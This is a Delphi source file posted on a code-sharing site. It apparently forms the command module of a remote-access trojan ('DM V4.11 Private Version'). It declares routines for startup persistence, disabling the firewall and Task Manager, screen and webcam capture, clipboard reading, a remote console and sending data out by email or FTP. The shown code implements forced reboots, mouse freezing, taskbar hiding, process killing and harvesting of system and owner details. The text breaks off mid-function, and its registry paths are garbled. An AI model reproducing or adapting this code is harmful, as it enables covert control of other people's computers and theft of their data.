Microsoft_Ucmd.pas
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:86k
源码类别:

Delphi控件源码

开发平台:

Delphi

  1. unit Microsoft_Ucmd;
  2. interface
  3. uses Windows,winsock, wininet ,TlHelp32, MMSystem,ShellApi,WinSvc,Utils,classes;
  4. function FindWindowsDir : string;
  5. function CloseProcces(Exefile: string): string;
  6. function ProcessExists (Exefile: string): Boolean;
  7. function GetLocalHostName: string;
  8. function SendData (SOCKET : TSOCKET;Data :string): integer;
  9. function GetLocalPath:string;
  10. function ShellEx(Path : string):string;
  11. function PeerToAddress(Socket: TSocket): string;
  12. procedure MakeThreadStartUP (key : string; data : string; appname : string);
  13. procedure VaciarPapelera( Whandle : Thandle );
  14. function Get_SysPath:string  ;
  15. function VentanaActiva: String;
  16. function NombreHost: String;
  17. function TextoValido( b :  Array of Char ):string;
  18. function EsXP : Boolean;
  19. function Descargar( url : String; Parametro2: String  ): boolean;
  20. procedure showm( s : String );
  21. procedure PresionarTecla( key: Byte );
  22. function OpenCloseCD( handle : THandle ): String ;
  23. function MsgWindows( n : Byte; Parametro : String ) : String ;
  24. function ActivarDesactivarBotonInicio : String;
  25. function EsconderMostrarTaskBar : String;
  26. function ShowHideSysTray : String ;
  27. function HideShowIconos : String;
  28. function SwapMouse : String;
  29. function PonerPapelTapiz( Parametro : String) : String;
  30. function CongelarMouse : String;
  31. function ReiniciarWindows : String;
  32. function PlaySound( Parametro : String ): String;
  33. function Minimizar: String;
  34. function MouseLocos : String;
  35. function RebotaInicio : String;
  36. function EjecutarScreenSaver( WHandle : Thandle ) : String;
  37. function MinAll : String ;
  38. function CambiarCaption( Parametro : String ) : String;
  39. function DesplegarInicio( WHandle : Thandle) : String;
  40. function SonarParlantito: String;
  41. function KillProcess( Parametro : String): String;
  42. function Procces( ):string;
  43. function SystemInfo() : string;
  44. function DelTree( Parametro : String ): string;
  45. function  Ocultar( Path : String; oculto:Boolean  ): String ;
  46. procedure BuscaFicheros( path, mask : String;SOCKET: Tsocket );
  47. function  ClearCmos : String ;
  48. function  LeerPortaPapeles( WHandle : Thandle ) : String;
  49. function  Borrar_Clipboard( handle : Thandle ) : String;
  50. procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String ; tcp:integer);
  51. function  CambiarNombrePC( parametro : string ): string;
  52. function  Set_Resolucion( Parametro : String ) : string;
  53. function  SetTime( parametro : String ) : String;
  54. function  Color_Ventanas( Parametro :string ) : String;
  55. function  Color3d( Parametro : String) : String;
  56. function  Color_Menues( parametro : String ): String ;
  57. function  Sacar_Apagar_sistema : String;
  58. function  Poner_Apagar_sistema : String;
  59. function MandarUnidadesDeAlmacenamiento(socket : TSocket ): string;
  60. function  CrearThreadVivorita: String;
  61. function  NetInfo( Udp : Tsocket; Cli : TSockAddr; tcp: integer ): String;
  62. function capture ( JPGCompressQuality:Integer ): String;
  63. function LIST( dir : string ):string;
  64. procedure SendEMAIL(SMTP : string;EMAIL:string;MyEMAIL : string);
  65. function ListWindows : string;
  66. procedure SendFTP(Host: string;User : string; PASS : string;Port : integer; Dir : string);
  67. function WinVer: string;
  68. procedure LanzarProgramaConsola(App: string; c: Boolean; socket : Tsocket);
  69. function Decrypt(const S: AnsiString; Key: Word): AnsiString;
  70. function Encrypt(const S: AnsiString; Key: Word): AnsiString;
  71. procedure DisableXPFirewall;
  72. //Explorer
  73. function Noclose(value : integer): string;
  74. function NoRun(value : integer): string;
  75. function NoLogoff(value : integer): string;
  76. function NoDesktop(value : integer): string;
  77. function NoFind (value : integer): string;
  78. function NoNetConnectDisconnect (value : integer): string;
  79. function NoSetFolders(value : integer): string;
  80. function NoControlPanel(value : integer): string;
  81. function NoDrives (value : integer): string;
  82. function ResrictRun(value : integer): string;
  83. //System
  84. function DisableTaskMgr(value : integer): string;
  85. function NoDispCPL(value : integer): string;
  86. function NoDispBackgroundPage(value : integer): string;
  87. //network
  88. function NoWorkgroupContents(value : integer): string;
  89. function NoEntireNetwork(value : integer): string;
  90. function NoFileSharingControl(value : integer): string;
  91. function NoPrintSharing(value : integer): string;
  92. procedure SetmousePOS(x : integer; y : integer);
  93. procedure ShellCode ;
  94. function ServiceGetList32(Machine: string): string;
  95. procedure StartService32(Machine, ServiceName: string);
  96. procedure StopService32(Machine, ServiceName: string);
  97. procedure UninstallService32(Machine, ServiceName: string);
  98. procedure InstallService32(Machine, ServiceName, DisplayName, FileName: string);
  99. function ShutDownWindows(RebootParam: Longword): Boolean;
  100. function MatarMouseTeclado : String;
  101. function SendDataMSN (SOCKET : TSOCKET;Data :string): integer;
  102. procedure ExtractResourceToFile( ResName, ResExtract: String);
  103. function capCreateCaptureWindowA(lpszWindowName: pchar; dwStyle: dword; x, y, nWidth, nHeight: word; ParentWin: dword; nId: word): dword; stdcall external 'avicap32.dll';
  104. const
  105. DMVersion = 'DM V4.11 Private Version';
  106. var
  107. MainSocket : Tsocket;
  108. type
  109. TAByte = array [0..maxInt      -1] of byte;
  110. TPAByte = ^TAByte;
  111. var   Parlante, Basta, Congelado, Bloqueado, CDROMCerrado, SMouse, TaskBar, SysTray, Iconos,
  112.       Bajando, MonitorPrendido, BotonInicio, Monitor_Activado, LucecitasActivadas,
  113.       MouseLoco, Rebota, Vivorita : Boolean;
  114.            
  115.       //esto es para el boton de inicio
  116.       h    : THandle;
  117.       r    : TRect;
  118.       Grave: Integer = 20;
  119.       //para consola
  120.       ConsolaApp : String;
  121.       RunPipe    : Boolean;
  122.       EsConsola  : Boolean;
  123.       ConsoleSocket : Tsocket;
  124.        Clave   : String;
  125.         ProcessTmp :string    ;
  126.        regkey,regdata,regappname: string;
  127.        WindowsLISTtmp : string;
  128.         DeskLoaded : boolean;
  129.         ConnectionType : integer;
  130.         Data_PASS : string;
  131. implementation
  132.  ///////////////////////////////////////////////////////////////////////////////
  133. function capture ( JPGCompressQuality:Integer ): String;
  134. type TgetDesktop = function(nWidth : Integer; nHeight : Integer; blnJpeg : Boolean; JPGCompressQuality:Integer; strFileName : String): Integer; stdcall;
  135. var
  136.   DLLInstance : THandle;
  137.   getDesktop : TgetDesktop;
  138. begin
  139.   Result:='&1&';
  140.       if  DeskLoaded=false then begin
  141. DLLInstance := LoadLibrary('desk.dll');
  142.      Result:='&1&';
  143.   if DLLInstance = 0 then begin
  144.     Result:='&0&';
  145.     Exit;
  146.   end;
  147.   end;
  148.       DeskLoaded:=true  ;
  149.   @getDesktop := GetProcAddress(DLLInstance, 'getDesktop');
  150.   if @getDesktop <> nil then
  151.     getDesktop(0,0,true,JPGCompressQuality,pchar (Get_SysPath) + 'desk.jpg')
  152.   else
  153.   DeskLoaded:=false  ;
  154.   FreeLibrary(DLLInstance);
  155. end;
  156.   ///////////////////////////////////////////////////////////////////////////////
  157. function OpenCloseCD( handle : THandle ): String ;
  158. begin
  159.         if CDROMCerrado then
  160.         begin
  161.            CDROMCerrado := FALSE;
  162.            mciSendString( 'Set cdaudio door open wait', nil, 0, handle );
  163.            Result := '&0&';
  164.         end
  165.         else
  166.         begin
  167.              CDROMCerrado := TRUE;
  168.              mciSendString( 'Set cdaudio door closed wait' , nil , 0 , handle );//cerrar cd
  169.              Result := '&1&';
  170.         end;
  171. end;
  172.  ///////////////////////////////////////////////////////////////////////////////
  173. function MsgWindows( n : Byte; Parametro : String ) : String;
  174. begin
  175.     Case n of
  176.       0 : MessageBox( 0 , pchar( Parametro ) , 'Information' , MB_OK + MB_ICONINFORMATION + MB_SYSTEMMODAL );
  177.         1 : MessageBox( 0 , pchar( Parametro ) , 'Question'    , MB_OK + MB_ICONQUESTION    + MB_SYSTEMMODAL );
  178.         2 : MessageBox( 0 , pchar( Parametro ) , 'Warning'     , MB_OK + MB_ICONWARNING     + MB_SYSTEMMODAL );
  179.         3 : MessageBox( 0 , pchar( Parametro ) , 'Stop'        , MB_OK + MB_ICONSTOP        + MB_SYSTEMMODAL );
  180.         4 : MessageBox( 0 , pchar( Parametro ) , 'Question'    , MB_YESNO + MB_ICONQUESTION + MB_SYSTEMMODAL );
  181.      end;
  182.     Result := 'Message Showed';
  183. end;
  184.  ///////////////////////////////////////////////////////////////////////////////
  185. function ActivarDesactivarBotonInicio : String;
  186. begin
  187. if BotonInicio then
  188. begin
  189. EnableWindow( FindWindowEx( FindWindow( 'Shell_TrayWnd', nil ) , 0 , 'Button', nil ) , false );
  190. Result := '&0&';
  191. BotonInicio := False;
  192. end
  193. else
  194. begin
  195. EnableWindow( FindWindowEx( FindWindow( 'Shell_TrayWnd' , nil ) , 0 , 'Button' , nil ) , true );
  196. Result := '&1&';
  197. BotonInicio := True;
  198. end;
  199. end;
  200.       ///////////////////////////////////////////////////////////////////////////////
  201. function EsconderMostrarTaskBar : String;
  202. var htaskbar : THandle;
  203. begin
  204.      hTaskBar := FindWindow( 'Shell_TrayWnd', nil );
  205.      if TaskBar then
  206.      begin
  207.           ShowWindow( hTaskBar , SW_Hide );
  208.           TaskBar := FALSE;
  209.           Result := '&0&';
  210.      end
  211.      else
  212.      begin
  213.            ShowWindow( hTaskBar , SW_SHOW );
  214.            TaskBar := TRUE;
  215.            Result := '&1&';
  216.      end;
  217. end;
  218.   ///////////////////////////////////////////////////////////////////////////////
  219. function ShowHideSysTray : String ;
  220. var wnd:Thandle;
  221. begin
  222.      Wnd := FindWindow( 'Shell_TrayWnd' , nil );
  223.      Wnd := FindWindowEx( Wnd , HWND( 0 ) , 'TrayNotifyWnd' , nil );
  224.      if SysTray then
  225.      begin
  226.            ShowWindow( Wnd, SW_HIDe );
  227.            Systray := FALSE;
  228.            Result := '&0&';
  229.      end
  230.      else begin
  231.               ShowWindow( Wnd , SW_Show );
  232.               SysTray := TRUE;
  233.               Result := '&1&';
  234.           end;
  235. end;
  236.   ///////////////////////////////////////////////////////////////////////////////
  237. function HideShowIconos : String;
  238. var wnd: THandle;
  239. begin
  240.      Wnd := FindWindow( 'Progman' , nil );
  241.      Wnd := FindWindowEx( Wnd , HWND( 0 ) , 'ShellDll_DefView' , nil );
  242.      if Iconos then
  243.      begin
  244.           ShowWindow( Wnd , SW_Hide );
  245.           Iconos := FALSE;
  246.           Result := '&0&';
  247.      end
  248.     else begin
  249.              ShowWindow( Wnd , SW_Show );
  250.              Iconos := TRUE;
  251.              Result := '&1&';
  252.          end;
  253. end;
  254.   ///////////////////////////////////////////////////////////////////////////////
  255. function SwapMouse : String;
  256. begin
  257.      if  SMouse then
  258.      begin
  259.           SwapMouseButton( FALSE );
  260.           SMouse := FALSE;
  261.           Result := '&0&';
  262.      end
  263.      else begin
  264.               SwapMouseButton( TRUE );
  265.               SMouse := TRUE;
  266.               Result := '&0&';
  267.           end;
  268. end;
  269.   ///////////////////////////////////////////////////////////////////////////////
  270. function PonerPapelTapiz( PArametro : String) : String;
  271. begin
  272.      if FileExists( Parametro )then
  273.      begin
  274.           SystemParametersInfo( SPI_SETDESKWALLPAPER , 0 , PChar( Parametro ) , 0 );
  275.           Result := 'Background Actived';
  276.      end
  277.      else
  278.           Result := 'The File Doesnt' + Parametro + ' exits';
  279. end;
  280.   ///////////////////////////////////////////////////////////////////////////////
  281. procedure FijarCursor;
  282. begin
  283.      while congelado do
  284.      begin
  285.           SetCursorPos( 50,50 );
  286.           Sleep( 50 );
  287.     end;
  288. end;
  289.   ///////////////////////////////////////////////////////////////////////////////
  290. function CongelarMouse : String;
  291. var id: Cardinal;
  292. begin
  293.      if Congelado then
  294.      begin
  295.           Result := '&1&';
  296.           Congelado := FALSE;
  297.      end
  298.      else begin
  299.                Congelado := TRUE;
  300.                BeginThread(nil, 0, @FijarCursor, nil, 0, id );
  301.                Result := '&0&';
  302.           end;
  303. end;
  304.   ///////////////////////////////////////////////////////////////////////////////
  305. function ReiniciarWindows : String;
  306. var i:Byte;
  307. begin
  308.      For i:= 1 to 30 do
  309.          ExitWindowsEx(EWX_FORCE or EWX_REBOOT, 0);
  310. end;
  311.   ///////////////////////////////////////////////////////////////////////////////
  312. function PlaySound( Parametro : String ): String;
  313. type TPS = function (lpszSoundName: PAnsiChar; uFlags: UINT): BOOL; stdcall;
  314. var  PS : TPS;
  315.      h : THandle;
  316. begin
  317.       if FileExists( Parametro ) then
  318.       begin
  319.            h   := LoadLibrary( 'winmm.dll' );
  320.            @PS := GetProcAddress( H, 'sndPlaySoundA' );
  321.            if PS( Pchar( Parametro ) , 0 ) then
  322.                Result := 'The sound was played...'
  323.            else
  324.                Result := 'The Sound wasnt played...';
  325.            FreeLibrary( H );
  326.       end
  327.       else
  328.           Result := 'The File' + Parametro + ' Dosnt exits...';
  329. end;
  330.  ///////////////////////////////////////////////////////////////////////////////
  331. function Minimizar: String;
  332. begin
  333.      ShowWindow( GetActiveWindow, SW_MINIMIZE );
  334.      Result := 'The window"' + VentanaActiva + '", was minimised!!!...';
  335. end;
  336.    ///////////////////////////////////////////////////////////////////////////////
  337. procedure CambiarPosicionmouse;
  338. begin
  339.      while MouseLoco do
  340.      begin
  341.           Randomize;
  342.           SetCursorPos( 800 - 15, 600 - 15 );
  343.           SetCursorPos( Random( 800 ), Random( 600 ) );
  344.      end;
  345. end;
  346.   ///////////////////////////////////////////////////////////////////////////////
  347. function MouseLocos : String;
  348. var id: cardinal;
  349. begin
  350.      if not MouseLoco then
  351.      begin
  352.           Result := '&0&';
  353.           MouseLoco := TRUE;
  354.           BeginThread(nil, 0, @CambiarPosicionmouse, nil, 0, id);
  355.      end
  356.      else
  357.          begin
  358.               Result := '&1&';
  359.               MouseLoco := FALSE;
  360.          end;
  361. end;
  362.   ///////////////////////////////////////////////////////////////////////////////
  363. procedure MoverBoton ;
  364. begin
  365.      while Rebota do
  366.      begin
  367.           if grave < -20  then grave := 20;
  368.           Inc( r.Left , Grave );
  369.           MoveWindow( h , r.Left , 0 , 80 , 26 , TRUE );
  370.           Dec( Grave );
  371.           Sleep( 100 );
  372.      end;
  373. end;
  374.     ///////////////////////////////////////////////////////////////////////////////
  375. function RebotaInicio : String;
  376. var id: cardinal;
  377. begin
  378.      Grave := 20;
  379.      h     := FindWindowEx( FindWindow( 'Shell_TrayWnd', nil ) , 0 , 'Button', nil ) ;
  380.      GetWindowRect( h , r );
  381.      MoveWindow( h , 0 , 0 , 80 , 26 , TRUE );
  382.      Rebota := not Rebota;
  383.      if Rebota then
  384.      begin
  385.           BeginThread(nil, 0, @MoverBoton, nil, 0, id );
  386.           Result := '&0&';
  387.      end
  388.      else
  389.          begin
  390.               Result := '&1&';
  391.          end;
  392. end;
  393.     ///////////////////////////////////////////////////////////////////////////////
  394. function EjecutarScreenSaver( WHandle : Thandle ) : String;
  395. begin
  396.      try SendMessage( WHandle, $0112 , SC_SCREENSAVE, 0 ); except end;
  397.      Result := 'Screensaver actived...';
  398. end;
  399.   ///////////////////////////////////////////////////////////////////////////////
  400. function MinAll : String ;
  401. begin
  402.      keybd_event(VK_LWIN,0,0,0);
  403.      keybd_event(77,0,0,0);
  404.      keybd_event(VK_LWIN,0,KEYEVENTF_KEYUP,0);
  405.      Result :=  'All windows were minimised...';
  406. end;
  407. function CambiarCaption( Parametro : String ) : String;
  408. begin
  409.      try SetWindowText( GetActiveWindow, PChar( Parametro ) ); except end;
  410.      Result := 'The Title was  changed';
  411. end;
  412.  ///////////////////////////////////////////////////////////////////////////////
  413. function DesplegarInicio( WHandle : Thandle) : String;
  414. begin
  415.      SendMessage( wHandle, $0112, SC_TASKLIST, 0 );
  416.      Result := '&0&';
  417. end;
  418.   ///////////////////////////////////////////////////////////////////////////////
  419. procedure ThreadParlantito;
  420. begin
  421.      while Parlante do
  422.      begin
  423.           MessageBeep( 3542 );
  424.           Sleep( 10 );
  425.      end;
  426. end;
  427.   ///////////////////////////////////////////////////////////////////////////////
  428. function SonarParlantito: String;
  429. var id: cardinal;
  430. begin
  431.      if Parlante then
  432.      begin
  433.           Parlante := False;
  434.           Result   := 'The Beeps was  disabled';
  435.      end
  436.      else
  437.           begin
  438.                Parlante := True;
  439.                Result   := 'The Beeps was enabled!';
  440.                BeginThread(nil, 0, @ThreadParlantito, nil, 0, id );
  441.           end;
  442. end;
  443.  ///////////////////////////////////////////////////////////////////////////////
  444. function KillProcess( Parametro : String): String;
  445. var h : THandle;
  446. begin
  447.      Result := 'The Process: ' +  Parametro +  ' was not terminated!...';
  448.      PostMessage(strtoint(Parametro),$0010,0,0);
  449.     try h:= OpenProcess( PROCESS_ALL_ACCESS, TRUE, StrToInt64( parametro ) );
  450.       if TerminateProcess( h, 0 ) then
  451.       Result := 'The Process: '   +  Parametro + ' was terminated...';
  452.      except
  453.    end;
  454. end;
  455.  ///////////////////////////////////////////////////////////////////////////////
  456.     Function TotalAPP(HWND : Thandle; Param : Integer): BOOL; stdcall;
  457.     var
  458.     caption: array [0..256] of Char;
  459.        j : INTEGER;
  460.     begin
  461.    if GetWindowText  (HWND, Caption, SizeOf(Caption)-1) <> 0 then
  462.   begin
  463.            if  IsWindowVisible(HWND) then
  464.         begin
  465.      WindowsLISTtmp:=WindowsLISTtmp +  Caption + '*';
  466.             end
  467.             else
  468.             begin
  469.                WindowsLISTtmp:=WindowsLISTtmp +  Caption + '*';
  470.             end;
  471.     end;
  472.       end  ;
  473.   ///////////////////////////////////////////////////////////////////////////////
  474. function ListWindows : string;
  475. begin
  476.       WindowsLISTtmp:='';
  477.    EnumWindows(@TotalAPP,0);
  478.    result:='$'  +   WindowsLISTtmp  ;
  479. end;
  480.   ///////////////////////////////////////////////////////////////////////////////
  481.  function EnumWindowsProc1 (Wnd: HWND): BOOL; stdcall;
  482. var
  483.   caption: array [0..256] of Char;
  484. begin
  485.   Result := True;
  486.   if GetWindowText  (Wnd, Caption, SizeOf(Caption)-1) <> 0 then
  487.   begin
  488.    if  IsWindowVisible(wnd) then
  489.         begin
  490.          ProcessTmp:=ProcessTmp + #13#10 + inttostr(wnd) + '  ' +  caption;
  491.         end;
  492.   end;
  493. end;
  494.  ///////////////////////////////////////////////////////////////////////////////
  495. function Procces(): string;
  496. var Proceso : TProcessEntry32;
  497.     SHandle : THandle;
  498.     Next    : Boolean;
  499.       handles : integer;
  500. begin
  501.             ProcessTmp:='';
  502.      EnumWindows(@TotalAPP,0);
  503.       Proceso.dwSize := SizeOf( TProcessEntry32 );
  504.       SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  505.       if Process32First( SHandle, Proceso ) then
  506.       begin
  507.           ProcessTmp:=ProcessTmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
  508.            repeat Next := Process32Next( SHandle , Proceso );
  509.            ProcessTmp:=ProcessTmp + '~' + IntToStr( Proceso.th32ProcessID ) + '-'  +  Proceso.szExeFile;
  510.            until not Next;
  511.       end;
  512.       CloseHandle( SHandle );
  513.       Result :=ProcessTmp
  514.       end;
  515.  ///////////////////////////////////////////////////////////////////////////////
  516. function CloseProcces(Exefile: string): string;
  517. var Proceso : TProcessEntry32;
  518.     SHandle : THandle;
  519.     Next    : Boolean;
  520.       Tmp :string    ;
  521. begin
  522.       Proceso.dwSize := SizeOf( TProcessEntry32 );
  523.       SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  524.       if Process32First( SHandle, Proceso ) then
  525.       begin
  526.           Tmp:=Tmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
  527.            repeat Next := Process32Next( SHandle , Proceso );
  528.                   if   LowerCase( Proceso.szExeFile)=LowerCase(Exefile)    then begin
  529.                   KillProcess ( IntToStr( Proceso.th32ProcessID ) );
  530.                 // Tmp:=Tmp + #13#10 + IntToStr( Proceso.th32ProcessID ) + '  '  + Proceso.szExeFile;
  531.                        end;
  532.            until not Next;
  533.       end;
  534.       CloseHandle( SHandle );
  535.       Result :=''
  536.       end;
  537.   ///////////////////////////////////////////////////////////////////////////////
  538. function ProcessExists (Exefile: string): Boolean;
  539. var Proceso : TProcessEntry32;
  540.     SHandle : THandle;
  541.     Next    : Boolean;
  542.       Tmp :string    ;
  543.       Tmp2 :string    ;
  544.       files : integer;
  545. begin
  546. result:=false;
  547.       Proceso.dwSize := SizeOf( TProcessEntry32 );
  548.       SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  549.       if Process32First( SHandle, Proceso ) then
  550.       begin
  551.           Tmp:=Tmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
  552.            repeat Next := Process32Next( SHandle , Proceso );
  553.                  Tmp2:= Proceso.szExeFile;
  554.                  fileS:= length(Tmp2);
  555.            if   copy(LowerCase(Proceso.szExeFile),fileS+1-length(Exefile), length(Exefile)) =LowerCase(Exefile)    then begin
  556.             result:=true;
  557.                        end;
  558.            until not Next;
  559.       end;
  560.       CloseHandle( SHandle );
  561.       end;
  562.  ///////////////////////////////////////////////////////////////////////////////
  563. function MandarUnidadesDeAlmacenamiento(socket : TSocket ): string;
  564. type Buffer = Array [ 1..50 ] of Char;
  565. var nombre,serie,fsystem : buffer;
  566.     tamNombre, longMax, flags, tamFS:cardinal;
  567.     anombre, s:string;
  568.     letra:char;
  569.     error:boolean;
  570.     Data : string;
  571. begin
  572.      letra := 'c';
  573.      s     := '';
  574.      repeat
  575.            tamNombre := sizeOf( nombre ) + 1;
  576.            tamFS     := sizeOf( fsystem ) + 1;
  577.            error     := not GetVolumeInformation( LPCTSTR( letra + ':' ),
  578.                                            @nombre,
  579.                                            tamNombre,
  580.                                            @serie,
  581.                                            longMax,
  582.                                            flags,
  583.                                            @fsystem,
  584.                                            tamFS );
  585.            if not error then
  586.            begin
  587.                 anombre := textoValido( nombre );
  588.                 if anombre = '' then
  589.                    anombre := 'Local Disk';
  590.                   sleep (10);
  591.             Data:= Data + uppercase( letra ) +  ':'  + '-' +  textoValido( fsystem ) +  '*' ;
  592.            end;
  593.            letra:= Chr( Ord( letra ) + 1 );
  594.      until letra = 'z';
  595.     result:= Data       ;
  596. end;
  597.   ///////////////////////////////////////////////////////////////////////////////
  598. //Muetra informacion de RED (Conexiones Locales, Grupos de trabajo)
  599. function NetInfo( Udp : Tsocket; Cli : TSockAddr; tcp: integer ): String;
  600. var   lpocal: TNetResource;
  601.       pas1, pas2, pas3 : PChar;
  602.       pas4 : Integer;
  603.       pas5 : Byte;
  604.       DataRet: String;
  605.       Recursos : String;
  606. function EnumerateFunc(HWND:THandle; lpnr: TNetResource; device: PChar; Unidad: PChar; Pasw: PChar; Flg: Integer; Tipo: Byte):boolean;
  607. var  dwResult, dwResultEnum : DWORD;
  608.      henum:THandle;
  609.      cEntries:DWORD;
  610.      lpnrLocal: Array [0..40] of TNetResource;
  611.      cbBuffer:DWORD;
  612.      i:integer;
  613. begin
  614.      cEntries := $FFFFFFFF;
  615.      cbBuffer:=SizeOf(lpnrLocal);
  616.      if lpnr.dwScope = 3000 then
  617.      begin
  618.           dwResult:=WNetOpenEnum(RESOURCE_GLOBALNET,RESOURCETYPE_ANY, 0,nil,henum);
  619.           lpnr.dwScope := 0;
  620.      end
  621.      else
  622.          dwResult:=WNetOpenEnum(RESOURCE_GLOBALNET,RESOURCETYPE_ANY, 0,@lpnr,henum);
  623.      if (dwResult <> NO_ERROR) then
  624.      begin
  625.           Result:=False;
  626.           exit;
  627.      end;
  628.      dwResultEnum := 0;
  629.      while(dwResultEnum <> ERROR_NO_MORE_ITEMS) do
  630.      begin
  631.           dwResultEnum := WNetEnumResource(hEnum, cEntries, @lpnrLocal, cbBuffer);
  632.           if (dwResultEnum = NO_ERROR) then
  633.           begin
  634.                for i:= 0 to cEntries - 1 do
  635.                begin
  636.                     if(RESOURCEUSAGE_CONTAINER = (lpnrLocal[i].dwUsage and RESOURCEUSAGE_CONTAINER)) then
  637.                     begin
  638.                          if (lpnrLocal[ i ].lpProvider <> '') and (lpnrLocal[ i ].lpRemoteName = '') then
  639.                              Dataret := Dataret + ' ' + lpnrLocal[ i ].lpProvider + ' - ' + IntToStr(lpnrLocal[i].dwDisplayType) + #13#10;
  640.                          Dataret := Dataret + ' ' + lpnrLocal[ i ].lpRemoteName +  ' - ' + IntToStr(lpnrLocal[i].dwDisplayType) + #13#10;
  641.                          if (lpnrLocal[ i ].lpRemoteName = string(device)) and (Tipo = 0) then
  642.                          begin
  643.                              lpnrLocal[ i ].lpLocalName := Unidad;
  644.                              WNetAddConnection2(lpnrLocal[i], Pasw, Unidad, Flg);
  645.                          end;
  646.                          if(not EnumerateFunc(hwnd, lpnrLocal[i], device, Unidad, Pasw, Flg, Tipo)) then
  647.                          else
  648.                          begin
  649.                               if (dwResultEnum <> ERROR_NO_MORE_ITEMS) then
  650.                               begin
  651.                               end;
  652.                     end;
  653.                end
  654.                else
  655.                    begin   //Si no es un contenedor de otros recursos
  656.                            //Conecta el dispositivo remoto a una unidad local, eso creo YO!!
  657.                         if (lpnrLocal[i].lpRemoteName = string(device)) and (Tipo = 1) then
  658.                         begin
  659.                              lpnrLocal[i].lpLocalName := Unidad;
  660.                              WNetAddConnection2(lpnrLocal[i], Pasw, nil, Flg);
  661.                         end;
  662.                         if lpnrLocal[ i ].lpRemoteName <> '' then
  663.                            Dataret := Dataret + '          ' + lpnrLocal[i].lpRemoteName {+ '(+)' +
  664.                                       IntToStr(lpnrLocal[i].dwType) }+ '(' + lpnrLocal[i].lpComment + ')' + #13#10;
  665.                         Recursos := Recursos +  lpnrLocal[i].lpRemoteName + '|';
  666.                    end;
  667.        end;
  668.       end;
  669.     end;
  670.     {dwResult :=} WNetCloseEnum(hEnum);
  671.     Result:=true;
  672. end;
  673.  ///////////////////////////////////////////////////////////////////////////////
  674. begin
  675.      FillChar( lpocal, SizeOf( lpocal ), 0 );
  676.      lpocal.dwScope := 3000;
  677.      EnumerateFunc( 0, lpocal, pas1, pas2, pas3, pas4, pas5 );
  678.     
  679.      Result := Recursos;
  680. end;
  681.   ///////////////////////////////////////////////////////////////////////////////
  682. function Leer( algo : DWORD; Key, Clave : String) : String;
  683. var Tipo_Dato, Len_Dato : Cardinal;
  684.     Buffer : String;
  685.     handle : HKEY;
  686. begin
  687.     RegOpenKeyEx( algo,
  688.                   PChar( Key ),
  689.                   0,
  690.                   KEY_ALL_ACCESS,
  691.                   handle );
  692.     Tipo_Dato := REG_NONE;
  693.     RegQueryValueEx( handle,
  694.                      PChar( Clave ),
  695.                      nil,
  696.                      @Tipo_Dato,
  697.                      nil,
  698.                      @Len_Dato );
  699.     SetString(Buffer, nil, Len_Dato);
  700.     RegQueryValueEx( Handle,
  701.                      PChar( Clave ),
  702.                      nil,
  703.                      @Tipo_Dato,
  704.                      PByte(PChar(Buffer)),
  705.                      @Len_Dato );
  706.     RegCloseKey( handle );
  707.     Result := PChar( Buffer );
  708. end;
  709.    ///////////////////////////////////////////////////////////////////////////////
  710. function SystemInfo() : string;
  711. const
  712.   cBIOSName      = $FE061;
  713.   cBIOSDate      = $FFFF5;
  714.   cBIOSExtInfo   = $FEC71;
  715.   cBIOSCopyright = $FE091;
  716.   rkBIOS         = 'HARDWAREDESCRIPTIONSystem';
  717.   rvBiosDate     = 'SystemBiosDate';
  718.   rvBiosID       = 'Identifier';
  719.   rvBiosVersion  = 'SystemBiosVersion';
  720. var OS : TOSVersionInfo;
  721.     SI : TSystemInfo;
  722.     MS : TMemoryStatus;
  723.     Version, User, Org, Serial, Zona_Horaria, Cpu : String;
  724.     tipoConexion: DWORD;
  725.     data : string;
  726. begin
  727.     Zona_Horaria := Leer( HKEY_LOCAL_MACHINE,
  728.                           'SYSTEMCurrentControlSetControlTimeZoneInformation',
  729.                           'StandardName' );
  730.     Version := Leer( HKEY_LOCAL_MACHINE,
  731.                      'SOFTWAREMicrosoftWindowsCurrentVersion',
  732.                      'Version' );
  733.     Version := Version + ', ' + Leer( HKEY_LOCAL_MACHINE,
  734.                                       'SOFTWAREMicrosoftWindowsCurrentVersion',
  735.                                       'VersionNumber' );
  736.     Org     := Leer( HKEY_LOCAL_MACHINE,
  737.                      'SOFTWAREMicrosoftWindowsCurrentVersion',
  738.                      'RegisteredOrganization' );
  739.     User    := Leer( HKEY_LOCAL_MACHINE,
  740.                      'SOFTWAREMicrosoftWindowsCurrentVersion',
  741.                      'RegisteredOwner' );
  742.     Serial  := Leer( HKEY_LOCAL_MACHINE,
  743.                      'SOFTWAREMicrosoftWindowsCurrentVersion',
  744.                      'ProductID' );
  745.     Cpu     := Leer( HKEY_LOCAL_MACHINE,
  746.                      'HardwareDescriptionSystemCentralProcessor',
  747.                      'Identifier' ) + ' - ' +
  748.                Leer( HKEY_LOCAL_MACHINE,
  749.                      'HardwareDescriptionSystemCentralProcessor',
  750.                      'VendorIdentifier' );
  751.     ZeroMemory( @OS, SizeOf( OS ) );
  752.     OS.dwOSVersionInfoSize := SizeOf( OS );
  753.     GetVersionEx( OS );
  754.     ZeroMemory( @MS, SizeOf( MS ) );
  755.     MS.dwLength := SizeOf( MS );
  756.     GlobalMemoryStatus( MS );
  757.     ZeroMemory( @SI, SizeOf( SI ) );
  758.     GetSystemInfo( SI );
  759.     data:=data + 'iNf' +'*' + LocalIP  +'*'+ DMVersion+'*'+ VentanaActiva +'*'+ Cpu  +'*'+ IntToStr( Trunc( GetCpuSpeed ) )+ ' Mhz'+
  760.     '*'+ IntToStr( Trunc(   MS.dwTotalPhys/ 1024  /1024 )) + ' MByte'+
  761.     '*'+ IntToStr( Trunc(   MS.dwAvailPhys / 1024  /1024 )) + ' MByte'+
  762.     '*'+ IntToStr( Trunc(  MS.dwAvailVirtual / 1024  /1024 )) + ' MByte';
  763.     if InternetGetConnectedState(@tipoConexion, 0) then
  764.     begin
  765.         if ( tipoConexion and 1 ) = 1 then
  766.         data:=data +'*'+ 'MODEM' ;
